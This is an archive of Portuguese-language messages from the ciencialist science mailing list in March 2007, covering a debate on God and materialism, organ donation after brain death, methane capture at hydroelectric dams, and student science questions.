> propriedades e características específicas.
> JR - Qual são essas características específicas?
>
> Divindades tem inteligência, intenção, desejos, preocupações, etc. São
> entidades pessoais, que querem ou deixam de querer, que agem
> INTENCIONALMENTE. Já a realidade não tem nenhuma dessas
características, e
> uma pedra é real, mas quando cai em sua cabeça, não tem NENHUMA
intenção de
> faze-lo.
> JR - Acho que vc se confunde... Alguém pode largar uma pedra na
cabeça de
> quem passa embaixo de sua janela. A pedra vai fazer aquilo que ela é
capaz:
> cair. Pode acertar ou não. Se a *intenção* era de acertar e acertou foi
> realizada por quem jogou, se não... Forçando o vocábulo podemos
dizer que a
> "intenção" da pedra é cair. Essa "intenção" já existe em *tudo* o
que nos
> rodeia e é a mesma se as condições são mantidas.
>
> Defina Papai Noel, e eu demonstro que este não tem evidências de
existir.
> Defina pedra, e eu demonstro que tem evidências de existir. Ou melhor,
> existem objetos que se encaixam nesta definição, pedra. Papai Noel
visita
> crianças, todas, na noite de Natal. Essa é uma propriedade definidora de
> Papai Noel. Se não demonstrar que existe tal pessoa, que apresente essa
> propriedade, não poderá afirmar que Papai Noel existe.
> JR - Vc está apegado à fantasia infantil. Esqueça, fantasias são
fantasias.
> Na realidade é uma pessoa que se sente feliz em surpreender as
crianças com
> um presente na noite de Natal.
> Meu filho tinha uns cinco anos quando chegou esbaforido com um
amiguinho em
> casa e perguntou à mãe: é verdade que papai Noel é o nosso pai? E a mãe
> respondeu: é. E a mãe ficou contando a lenda do papai Noel aos dois
> pequenos, que depois voltaram a brincar, já com novas informações. O
> resultado disso foi que uns dois meses antes do Natal, meu filho
pediu uma
> bicicleta de presente e passou a colar em tudo quanto é lugar um
aviso: "Não
> esqueça da minha Caloi!".
>
> É até bem simples, se pararem, os dois, de dizer maluquices e se
focarem em
> um debate minimamente racional.
>
> Tente, Ferrari, diga qual é "sua" definição de deus, e verá que não vai
> fazer sentido. Uma força não intencional, não é deus, por definição,
pois
> não tem nenhuma propriedade definidora nesse sentido. Seria o mesmo
que orar
> pela eletricidade, para que não nos fulmine com um raio..:-)
>
> Ferrari: "Homero, quantas vezes vou ter que te dizer que
> semântica é lógica são coisas distintas e que vc não é
> obrigado a se prender a semântica nenhuma? Semântica
> são ferramentas de comunicação. "
>
> Você não faz a menor idéia do que está dizendo..:-) Não sabe nem o que é
> semântica, muito menos o que é lógica. Nem, aparentemente, comunicação.
>
> Como disse antes, seu discurso "sem semântica" e a conversa sem
sentido de
> um esquizofrênico, que "pensa" estar revelando verdades fantásticas, são
> idênticos: ambos não fazem idéia do que dizem, nem os que os ouvem.
Porque,
> ao deixar a "semântica" e a lógica de lado, acabam em uma confusão
de termos
> e conceitos que nada significa: deus é tudo, tudo é deus, nada é
tudo, deus
> é nada, quem nada é peixe, deus é peixe, peixes tem espinhas, deus tem
> espinhas, espinhas são deus, ad infinitum.
> JR - As idéias são aprendidas na infância-adolescência. Se não
houver um
> esforço de contínua atualização, ampliação e aprofundamento do que foi
> aprendido pode ocorrer uma danosa "cristalização" de conceitos.
>
> E antes de dizer que "não faz sentido", por favor, deixe a semântica de
> lado, não se deixe "usar por ela", tente entender a maravilha do que eu
> disse, etc..:-)
>
> Ferrari, deve ter "escutado" o galo cantar e não sabe onde, e pensa que
> ignorar semântica é uma forma legítima e razoável de tentar se
comunicar,
> de forma que quem escuta interprete o que desejar. Bem, não é. Semântica
> trata de significados, e estes são fundamentais para a comunicação. Sem
> eles, nada faz sentido (como suas frases). Deo derete nadert feoitrenas
> hdeiurede kdaopoer, enerp atrure. Entendeu?
>
> Não? Ora, deixe a semântica de lado e se atenha ao que eu quis
dizer, ora
> bolas..:-) Se não conseguir, talvez comece a compreender seu, profundo,
> problema com estas questões. Sem um significado bem definido, as
"palavras"
> que construí não valem nada.
> JR - As palavras não têm significado absoluto igual para todos. Elas
> descrevem a superfície de uma realidade que é múltipla, ampla e
complexa.
> Daí a permanente necessidade de atualizar o significado de vocábulos e
> tentar definir limites de atuação em uma apresentação
acadêmica-científica.
> Para uma pessoa que está acostumado a ser a palavra final e
definitiva da
> verdade aos seus pupilos, esse novo enfoque vai requerer esforço
especial
> para remover as viseiras, abrir os olhos e ver as inúmeras
perspectivas do
> que chamamos comumente de realidade.
>
> Um abraço.
> Homero
>
> Abraços
> José Renato
> ..........................................
>
> ----- Original Message -----
> From: Ferrari
> To: ciencialist@yahoogrupos.com.br
> Sent: Thursday, March 22, 2007 4:14 PM
> Subject: [ciencialist] Re: Papai Noel: Sobre o Método Cientifico -
> adinfinitum
>
> José renato >>> Homero! Quando é que vc vai entender
> que o Papai Noel existe? As crianças sabem disso...
> Muitos adultos sabem disso... Afinal, quem é que lhes
> dá presentes no Natal? Vou repetir: o que não existe é
> o Papai Noel que vc imaginou quando criança.
>
> Ei homero, tá aqui um exemplo de inteligencia que não
> se prender a semântica.
>
> Parabéns JR!
>
> sinceramente
> papai Noel
>
> --- José Renato <jrma@...> escreveu:
>
> > Homero; [ Da mesma forma como "pode ser que exista"
> > Papai Noel, mas devido a
> > falta de evidências dessa existência justifica que
> > nos comportemos "como se
> > não existisse" Papai Noel, também podemos nos
> > comportar como se deus não
> > existisse, em especial em ciência ou fazendo
> > ciência. ]
> >
> ...........................................................
> >
> > Olá, Homero! Quando é que vc vai entender que o
> > Papai Noel existe? As
> > crianças sabem disso... Muitos adultos sabem
> > disso... Afinal, quem é que
> > lhes dá presentes no Natal?
> > Vou repetir: o que não existe é o Papai Noel que vc
> > imaginou quando criança.
> > O que existe são papais-noéis e mamães-noéis com a
> > cara do papai e da mamãe,
> > tios e tias-noéis, amigo-Noel, esposo e
> > esposa-noéis... Esses existem e
> > fazem a festa dos comerciantes no Natal. Perceba que
> > o imaginado geralmente
> > não corresponde à realidade ou nem tem existência
> > física...
> > O que é preciso fazer é adequar o nome à pessoa ou
> > ao objeto da nossa
> > imaginação.
> > []s
> > José Renato
> > ................................
> >
> > From: "oraculo333" <oraculo@To:
> > <ciencialist@yahoogrupos.com.br>
> > Sent: Wednesday, March 21, 2007 9:43 PM
> > Subject: [ciencialist] P/ Alvaro - : Sobre o Método
> > Cientifico - adinfinitum
> >
> > Olá Alvaro
> >
> > Alvaro: "Em minha opinião, a melhor resposta de um
> > cientista ou
> > simpatizante, quando questionado sobre a existência
> > de deus, é a
> > seguinte: "Nunca vi evidência da existência nem da
> > não-existência de
> > deus, portando NÃO TENHO CONDIÇÕES DE AFIRMAR SE
> > EXISTE OU NÃO.""
>
> (apaguei o restante)
>




SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/03/2007 22:13

Olá, Jeff! Existir é uma evidência que não sabemos muita coisa da criação
que nos rodeia... Para esclarecer qualquer fenômeno da natureza não é
necessário incluir uma divindade. Isso só é aventado quando se busca
alcançar além daquilo que se apresenta, digamos, tão normal aos nossos
olhos. Essa causa primeira é que chamamos de Divindade ou de Deus. É o
mistério ainda insondado, mas que muitos já consideram insondável... Por
antecipação. Devo dizer que pouco ou nada altera vc aprender ciências
considerando ou não o que há além do que constatamos e experimentamos. Essa
conhecimento ou ciência é comum tanto para os mais interessados, como aos
satisfeitos com os diversos métodos científicos adotados atualmente.
[]s
José Renato
.....................................
From: "Jeff" <jeff@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 26, 2007 9:29 AM
Subject: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico -
adinfinitum


> Olá JR,
>
>>
>> Uma só evidência, Jeff.
>> Existimos.
>>
>
> E "existimos" é evidência de Deus?
>
>>
>> O que capaz de promover e manter a existência? Qual a causa primeira da
>> existência? Algo pouco conhecido ou até mesmos desconhecido com o poder
>> de
>> fazer existir, ao qual vc pode dar o nome que quiser.
>>
>
> Isso já foi bastante explicado aqui, você que não quer ou não consegue ou
> entender.
>
>>
>>O que seria isso? A ciência ainda não sabe, mas procura saber...
>>
>
> A explicação que já temos (evolução por seleção natural) faz sentido e não
> precisa ter nenhuma divindade no meio.
>
> []´s,
> Jeff.
>
>
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>
>



SUBJECT: Re: [ciencialist] Takata: Sobre o Método Cientifico - ad infinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/03/2007 22:29

Takata, caímos na areia movediça do significado dos vocábulos. Para melhor
sintonia, cito duas principais realidades do nosso universo que considero
imateriais: espaço e campos. Ambos são bem pesquisados em nossa ciência
experimental ou materialista, como alguns a chamam sem atentar para o erro.
[]s
José Renato
.................................................................
From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 26, 2007 1:11 PM
Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Caro, Takata! Declaração inspirada e reveladora, que permite alertar
> de que a realidade não é apenas material.

Vc acredita nisso, e é seu direito pensar assim. Mas nos atendo
exclusivamente aos fatos, não há nenhum indício de uma realidade
imaterial. Simplesmente, não traz informação alguma aventar uma porção
imaterial à realidade.

Esta realidade é material tto qto podemos saber. Pode não ser? Sim,
pode. Mas ainda está por se demonstrar q não seja.

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] tempo de vida útil de órgãos para doação
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/03/2007 22:31

Nando:
Se o personagem está em estado vegetativo não é legal a retirada de órgãos: esse procedimento só é permitido, com a anuência de um familiar, após a morte biológica: há uma rotina legal para se estabelecer a morte de um indivíduo.

sds.,

silvio
----- Original Message -----
From: Nando
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 24, 2007 10:45 AM
Subject: [ciencialist] tempo de vida útil de órgãos para doação


Resumindo, um carinha de 19 anos teve várias paradas cardíacas, seguido
por morte cerebral.
Sempre usou uma quantidade excessiva de remédios para controle de asma
(8 gotas de BEROTEC para a inalação), neste caso, usando 2-3 vezes além
da quantidade recomendada pelos médicos.

Depois de ficar cerca de meia hora sem respirar, foi ressuscitado
(WTF!?) e atualmente está com morte cerebral, mantido 'vivo' com aparelhos.

O pai quer(ia) doar os órgãos, a mãe não quer deixar que doem.
A mãe (surpresa, surpresa) é religiosa fanática (evangélica, acho) e
pediu pra meia cidade rezar pq espera um milagre.

A pergunta (finalmente):
Quanto tempo os órgãos do guri duram, nesse estado, para que possam ser
usados para doação? Quais órgãos poderiam ser usados?
A morte cerebral foi determinada há 2-3 dias.

flw.





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SUBJECT: Re: [ciencialist] Renato: Sobre o Método Cientifico - ad infinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/03/2007 22:36

Como alertei, Homero, esse enfoque não é utilizado em ciência experimental.
Citei apenas para justificar a inspirada afirmação de Takata. Não vamos
esquecer o enfoque da lista.
[]s
José Renato
.................................
From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 26, 2007 1:15 PM
Subject: [ciencialist] Re: Renato : Sobre o Método Cientifico - ad infinitum


Olá Jose Renato

Renato: ". É claro que esse enfoque acima esboçado é mais utilizado
nas ciências da teologia, filosofia e metafísica, do que na ciência
basicamente experimental."

Isso porque o enfoque é bobagem, e derivado da pouca compreensão de
termos como "material" e de distorções no uso de definições (que devem
ser precisas). Não que isso me espante..:-)

Vejamos: Renato "Declaração inspirada e reveladora, que permite
alertar de que a realidade não é apenas material. O Universo não é
apenas matéria ou energia-campo estruturados, dando-nos aparência de
algo material, "sólido". "

Material, cientificamente, é materia E energia E campos
eletromagneticos E tudo o mais que compõe o universo. Não é algo
"sólido", e até mesmo o vácuo quantico é "material". E o universo "É
SÓ" isso mesmo, até prova em contrário..:-)

Sem entender isso, não vai entender mais nada, e vai ficar com seu
"deus-papai-do-ceu-transcendente" entalado em sua mente, impedindo a
razão de agir.

Seu "deus" não pode ser um campo eletromagnético, pois seria
"material", não pode ser uma "energia", pois seria "material", etc,
etc. Esses termos, como "energia" tem definição precisa, e não servem
de substituto para divindades ou "deus".

Ou vai acabar rezando para o raio, como nossos ancestrais (na verdade,
eu acho que já reza, pois não vejo diferença entre Tupã, o raio, e
Jeová, o poderoso).

Renato: "O que promove a criação material *é* imaterial; "

Prove. Sem isso, é o mesmo que afirmar que quem criou o universo foram
os duendes, ou o ser extradimensional que retira energia dos buracos
negros para alimentar seu próprio universo, sem ligar a mínima para a
existência de seres neste universo.

Ou seja, uma afirmação tão improvável e tão sem evidências quanto a
sua (embora faça um pouco mais de sentido..:-).

Um abraço.

Homero




--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Takata escreveu: [ A propriedade dessa realidade é material. Vc parece
> disposto a aceitar chamar seu deus de realidade (ou deus-realidade),
mas não
> parece disposto a conferir a esse deus um caráter material. Logo,
tenderá a
> haver problemas no seu uso da expressão. ]
> .............................
>
> Caro, Takata! Declaração inspirada e reveladora, que permite alertar
de que
> a realidade não é apenas material. O Universo não é apenas matéria ou
> energia-campo estruturados, dando-nos aparência de algo material,
"sólido".
> O que promove a criação material *é* imaterial; a criação é
matéria-energia
> material mas também é parte imaterial; e o que movimenta e sustenta a
> criação de acordo com a intenção do criador também é imaterial. Uma
coisa é
> constatável: somos muito capazes e inteligentes mas, como já disse
Ferrari,
> não somos os agentes primeiros da criação, nem da nossa própria
criação.
> Lembrando Voltaire, se já nos achamos bem criados e capazes
intelectualmente
> após alguns milhões de anos, podemos imaginar o que pode ser capaz o
eterno
> criador. É claro que esse enfoque acima esboçado é mais utilizado nas
> ciências da teologia, filosofia e metafísica, do que na ciência
basicamente
> experimental.
>
> []s
>
> José Renato
> ...............................................
>
> From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
> Sent: Thursday, March 22, 2007 5:10 PM
> Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad
infinitum
>
>
> --- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@>
> > --- Pode chamar de realidade, sem problema, "chame do que quiser" só
> > não fique preso a esta semantica também. Use as semanticas, não
> > deixe elas te usarem.

(apaguei o restante)



SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 00:00

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> imateriais: espaço e campos.

São materiais posto q naturais. O imaterial se refere ao
transcendente, ao espiritual.

[]s,

Roberto Takata



SUBJECT: O Metano Produzido nos Reservatórios: uma Fonte Limpa e Renovável de Energia =20?=
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/03/2007 01:25


Deus:

Tem fundamento prático essa teoria? é factível?

sds.,

silvio;


transcrevo:


----- Original Message by Caio Bertazzi in politica-br@yahoogrupos.com.br

Olha taí uma fonte infindável do governo Lula a
produção de metano,pois isso é produzido aos montes
neste atual governo ,pena que a fonte não seja
limpa,eheheh!!!
--- Alexandre <lista@pontoflash.com.br> escreveu:

> O Metano Produzido nos Reservatórios de
> Hidrelétricas Brasileiras: uma Fonte Limpa e
> Renovável de Energia
>
http://www.amazonia.org.br/guia/detalhes.cfm?id=234851&tipo=6&cat_id=46&subcat_id=200
>
> Estudos científicos demonstram que os
> reservatórios das grandes hidrelétricas brasileiras
> construídas em regiões florestadas, como a Amazônia,
> produzem grandes quantidades de metano (CH4), um dos
> mais potentes gases de efeito estufa. No entanto,
> se este mesmo gás for devidamente capturado e
> queimado, pode produzir energia limpa e renovável em
> grandes quantidades. Estimativas apresentadas na
> Tabela 1, indicam que é possível aumentar de 30 a
> 50% a capacidade instalada (em MW) de hidrelétricas
> como Tucuruí (PA), Balbina (AM) ou Samuel (RO),
> capturando e queimando apenas as quantidades de
> metano que são emitidas a jusante das barragens.
> Esta estimativa conservadora pode aumentar
> substancialmente, se levarmos em conta os estoques
> de metano acumulados no fundo destes reservatórios.
>
> Uma das vantagens desta proposta é que ela envolve
> soluções simples de engenharia, que não afetam a
> geração atual de eletricidade das usinas, e não
> necessitam o desenvolvimento de novas tecnologias
> para ser implementada imediatamente. Estimativas
> preliminares indicam que os investimentos
> necessários para coletar e estocar o gás estão na
> faixa de 100 a 200 milhões de dólares por Mt/ano de
> produção de metano. Uma Mt/ano de metano equivale a
> 1760 MW. Aos preços atuais do gás natural (em torno
> de 0.06 US$/Nm3-CH4), a taxa estimada de retorno
> sobre o investimento situa-se acima do valor de 25%
> preconizado para investimentos em geração de energia
> renovável no Brasil.
>
> Se de uma perspectiva econômica a utilização do
> metano produzido nos reservatórios das hidrelétricas
> brasileiras é atrativa, de um ponto de vista
> político e social esta proposta é igualmente
> vantajosa. Por um lado, a redução das emissões de
> metano e a geração de energia limpa em substituição
> àquela produzida por combustíveis fósseis habilitam
> o Brasil a receber uma quantidade proporcional dos
> chamados "créditos de carbono", no âmbito do
> Protocolo de Quioto. Por outro lado, a inclusão
> desta nova fonte de energia na matriz energética
> brasileira deve diminuir a pressão para construção
> de grandes barragens em locais sensíveis,
> preservando importantes biomas e terras indígenas, e
> evitando o deslocamento de grandes contingentes de
> proprietários rurais.
>
> Em resumo, acreditamos que, num momento em que o
> suprimento de energia representa um dos mais
> importantes gargalos ao crescimento acelerado do
> país, o gás metano produzido em nossos reservatórios
> pode vir a ser uma fonte extra de energia elétrica,
> em locais que já possuem uma ampla infra-estrutura
> para distribuí-la. Por isto, recomendamos vivamente
> que estudos mais aprofundados sejam empreendidos
> imediatamente para avaliar a magnitude, a
> distribuição e a dinâmica dos estoques de metano em
> represas na região Amazônica. Além dessas, o estudo
> deveria também contemplar represas localizadas em
> outras regiões do território nacional, tendo em
> vista a avaliação do potencial energético total do
> metano das barragens brasileiras.
>
> Tabela 1: Características energéticas de Balbina,
> Samuel e Tucuruí.
>
>
>
> Fernando M. Ramos, Luis A. W. Bambace, Ivan B. T.
> Lima - Instituto Nacional de Pesquisas Espaciais
> (INPE), Av. Dos Astronautas, 1758, 12227-010 São
> José dos Campos - SP, Brazil
.




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SUBJECT: Re: [ciencialist] O Metano Produzido nos Reservatórios: uma Fonte Limpa e Renovável de Energia =20?=
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/03/2007 05:48

E como vamos recolher esse CH4, recobrindo toda a área inundada com plástico?
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Silvio Cordeiro" <scordeiroes@superig.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 27 de março de 2007 01:25
Assunto: [ciencialist] O Metano Produzido nos Reservatórios: uma Fonte Limpa e Renovável de Energia =20?=



Deus:

Tem fundamento prático essa teoria? é factível?

sds.,

silvio;


transcrevo:


----- Original Message by Caio Bertazzi in politica-br@yahoogrupos.com.br

Olha taí uma fonte infindável do governo Lula a
produção de metano,pois isso é produzido aos montes
neste atual governo ,pena que a fonte não seja
limpa,eheheh!!!
--- Alexandre <lista@pontoflash.com.br> escreveu:

> O Metano Produzido nos Reservatórios de
> Hidrelétricas Brasileiras: uma Fonte Limpa e
> Renovável de Energia
>
http://www.amazonia.org.br/guia/detalhes.cfm?id=234851&tipo=6&cat_id=46&subcat_id=200
>
> Estudos científicos demonstram que os
> reservatórios das grandes hidrelétricas brasileiras
> construídas em regiões florestadas, como a Amazônia,
> produzem grandes quantidades de metano (CH4), um dos
> mais potentes gases de efeito estufa. No entanto,
> se este mesmo gás for devidamente capturado e
> queimado, pode produzir energia limpa e renovável em
> grandes quantidades. Estimativas apresentadas na
> Tabela 1, indicam que é possível aumentar de 30 a
> 50% a capacidade instalada (em MW) de hidrelétricas
> como Tucuruí (PA), Balbina (AM) ou Samuel (RO),
> capturando e queimando apenas as quantidades de
> metano que são emitidas a jusante das barragens.
> Esta estimativa conservadora pode aumentar
> substancialmente, se levarmos em conta os estoques
> de metano acumulados no fundo destes reservatórios.
>
> Uma das vantagens desta proposta é que ela envolve
> soluções simples de engenharia, que não afetam a
> geração atual de eletricidade das usinas, e não
> necessitam o desenvolvimento de novas tecnologias
> para ser implementada imediatamente. Estimativas
> preliminares indicam que os investimentos
> necessários para coletar e estocar o gás estão na
> faixa de 100 a 200 milhões de dólares por Mt/ano de
> produção de metano. Uma Mt/ano de metano equivale a
> 1760 MW. Aos preços atuais do gás natural (em torno
> de 0.06 US$/Nm3-CH4), a taxa estimada de retorno
> sobre o investimento situa-se acima do valor de 25%
> preconizado para investimentos em geração de energia
> renovável no Brasil.
>
> Se de uma perspectiva econômica a utilização do
> metano produzido nos reservatórios das hidrelétricas
> brasileiras é atrativa, de um ponto de vista
> político e social esta proposta é igualmente
> vantajosa. Por um lado, a redução das emissões de
> metano e a geração de energia limpa em substituição
> àquela produzida por combustíveis fósseis habilitam
> o Brasil a receber uma quantidade proporcional dos
> chamados "créditos de carbono", no âmbito do
> Protocolo de Quioto. Por outro lado, a inclusão
> desta nova fonte de energia na matriz energética
> brasileira deve diminuir a pressão para construção
> de grandes barragens em locais sensíveis,
> preservando importantes biomas e terras indígenas, e
> evitando o deslocamento de grandes contingentes de
> proprietários rurais.
>
> Em resumo, acreditamos que, num momento em que o
> suprimento de energia representa um dos mais
> importantes gargalos ao crescimento acelerado do
> país, o gás metano produzido em nossos reservatórios
> pode vir a ser uma fonte extra de energia elétrica,
> em locais que já possuem uma ampla infra-estrutura
> para distribuí-la. Por isto, recomendamos vivamente
> que estudos mais aprofundados sejam empreendidos
> imediatamente para avaliar a magnitude, a
> distribuição e a dinâmica dos estoques de metano em
> represas na região Amazônica. Além dessas, o estudo
> deveria também contemplar represas localizadas em
> outras regiões do território nacional, tendo em
> vista a avaliação do potencial energético total do
> metano das barragens brasileiras.
>
> Tabela 1: Características energéticas de Balbina,
> Samuel e Tucuruí.
>
>
>
> Fernando M. Ramos, Luis A. W. Bambace, Ivan B. T.
> Lima - Instituto Nacional de Pesquisas Espaciais
> (INPE), Av. Dos Astronautas, 1758, 12227-010 São
> José dos Campos - SP, Brazil
.




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SUBJECT: Re: [ciencialist] Downloads instantâneos!
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 05:58

Ficou estranha essa frase "Transceiver é um dispositivo que recebe e
envia dados por meio de ondas sem fio."

Ondas sem fio?!

:-)

Ateh
Luis Brudna


On 3/26/07, José Renato <jrma@terra.com.br> wrote:
> IDG Now! » Computação Corporativa » Processadores
>
>
> IBM anuncia chipset óptico que oferece downloads instantâneos
> Por Ben Ames, para o IDG Now!*
> Publicada em 26 de março de 2007 às 10h16
> Boston - Com o componente, um filme que leva hoje 30 minutos para ser baixado, leverá um segundo. Tecnologia chega ao público em 2010.
>
> Pesquisadores da IBM apresentaram nesta segunda-feira (26/03) um protótipo de chipset de transceiver óptico que permitirá que pessoas baixem filmes ou compartilhem dados pela internet com velocidade oito vezes maior que as atuais tecnologias permitem.
>
> Transceiver é um dispositivo que recebe e envia dados por meio de ondas sem fio.
>
> O chipset pode transportar dados a 160 Gbps (gigabits por segundo) ao representar informações de acordo com pulsos de luz em vez de elétrons, e poderia ser usado tanto para aplicações corporativas quanto pessoais em 2010, disse a IBM.
>
> A procura de consumidores por mídias digitais como filmes, músicas e fotos causou uma explosão do volume de transmissão de dados na Internet, e reforçou a necessidade de maior banda e conectividade, disse T. C. Chen, vice-presidente de ciência e tecnologia da IBM Research, em uma declaração.
>
> A IBM diz que pode suprir essa demanda, construindo o novo chipset com um transceiver óptico com a tecnologia do padrão CMOS (semicondutor de metal óxido complementar, na sigla em inglês), e combinando-o com componentes ópticos de materiais exóticos como o arsenieto de gálio e um composto a base de fósforo. O pacote final tem dimensões de 3,25 por 5,25 milímetros, pequeno o suficiente para ser integrado em uma placa de circuito.
>
> Apesar dessas tecnologias já existirem, provavelmente levará pelo menos três anos para que fornecedores possam produzir componentes em escala para que a IBM coloque os transceivers ópticos para sua linha de produtos.
>
>
> *Ben Ames é repórter do IDG News Service, em Boston.
>
> < http://idgnow.uol.com.br/computacao_corporativa/2007/03/26/idgnoticia.2007-03-26.0442987228 >
>
> [As partes desta mensagem que não continham texto foram removidas]
>
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>


SUBJECT: Fw: d�via
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 27/03/2007 06:32

Alguma sugestão?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Ana Célia
Para: leobarretos@uol.com.br
Enviada em: sábado, 24 de março de 2007 11:58
Assunto: dúvia


Oi Professor


Tenho que fazer um trabalho sobre arquelologia na contabilidade e o pior é que teremos que expor logo na semana do contabilista.

O sr. poderia me dar alguma dica, pois minha equipe está muito fraca incluindo eu sem nenhuma criatividade.

Muito obrigado



Ana Célia
Contabilidade
Preview Computadores Ltda
Tel: (71)2103-8874-8716-2545
www.preview.com.br/anacelia@prv.com.br

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Quest�o
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 27/03/2007 06:33

E essa?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Oriana Patricia Ferreira Carneiro
Para: leobarretos@uol.com.br
Enviada em: sábado, 24 de março de 2007 10:34
Assunto: Questão


Boa Tarde!

Eu sou uma jovem estudante, da universidade do minho, que está a efectuar um estudo/projecto sobre turismo espacial.
Deste modo, gostaria de saber qual é o combustível utilizado pelas naves espaciais, bem como a composição do mesmo.




Cumprimentos:

Patricía Carneiro

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Comprovação da teoria de Einstein
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 09:40

Takata, Alberto, agradeço pelos esclarecimentos

A duvida era justamente essa, se a corroboração seria a "existência" da
curvatura, ou o "grau" desta curvatura.

Interessante esse fenômeno da refração. No site (
http://educar.sc.usp.br/otica/refracao.htm), ele está associado á diferença
de velocidade de propagação da luz.

Aí é que estaria a principal diferença entre a abordagem de Einstein e
Newton?
Velocidade variável versus Tempo variável?

Perdoem se esse assunto já foi discutido antes. Pra evitar de se repetirem,
se tiver alguma msg ou artigo anterior que trate disso, podem passar que
economizo a tendinite de vcs :)

Gil


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Downloads instantâneos!
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 09:46

--- Em ciencialist@yahoogrupos.com.br, "Luis Brudna" <luisbrudna@...>
> Ficou estranha essa frase "Transceiver é um dispositivo que recebe
> e envia dados por meio de ondas sem fio."
>
> Ondas sem fio?!

O "sem fio" no caso não é um adjunto adnominal ligado à palavra 'fio',
mas sim um adjunto adverbial ligado às palavras 'recebe' e 'envia'. Tb
pode ser um adjunto adnominal ligado à palavra dispositivo, mas nesse
caso, naturalmente, o autor escreveria: "dispositivo sem fio que
recebe e envia...".

Uma frase menos ambígua seria: "que recebe e envia, sem fio, dados...".

[]s,

Roberto Takata



SUBJECT: Re: Fw: dúvia
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 09:50

Muitos dos primeiros registros da escrita e dos números são registros
de certo modo contábil: tabuinhas de argila q organizavam o estoque de
provisões da cidade.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Alguma sugestão?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: Ana Célia
> Para: leobarretos@...
> Enviada em: sábado, 24 de março de 2007 11:58
> Assunto: dúvia
>
>
> Oi Professor
>
>
> Tenho que fazer um trabalho sobre arquelologia na contabilidade e o
> pior é que teremos que expor logo na semana do contabilista.
>
> O sr. poderia me dar alguma dica, pois minha equipe está muito fraca
> incluindo eu sem nenhuma criatividade.
>
> Muito obrigado
>
>
>
> Ana Célia



SUBJECT: Re: Fw: Questão
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 09:57

Depende da nave/propulsor. O ônibus espacial usa hidrogenio líquido
pressurizado - q se combina com o oxigênio líquido na câmara de
combustão. O foguete Soyuz usa uma mistura de querosene com oxigênio
líquido.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> E essa?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Oriana Patricia Ferreira Carneiro
> Para: leobarretos@...
> Enviada em: sábado, 24 de março de 2007 10:34
> Assunto: Questão
>
>
> Boa Tarde!
>
> Eu sou uma jovem estudante, da universidade do minho, que está a
efectuar um estudo/projecto sobre turismo espacial.
> Deste modo, gostaria de saber qual é o combustível utilizado pelas
naves espaciais, bem como a composição do mesmo.
>
>
>
>
> Cumprimentos:
>
> Patricía Carneiro
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] Downloads instantâneos!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
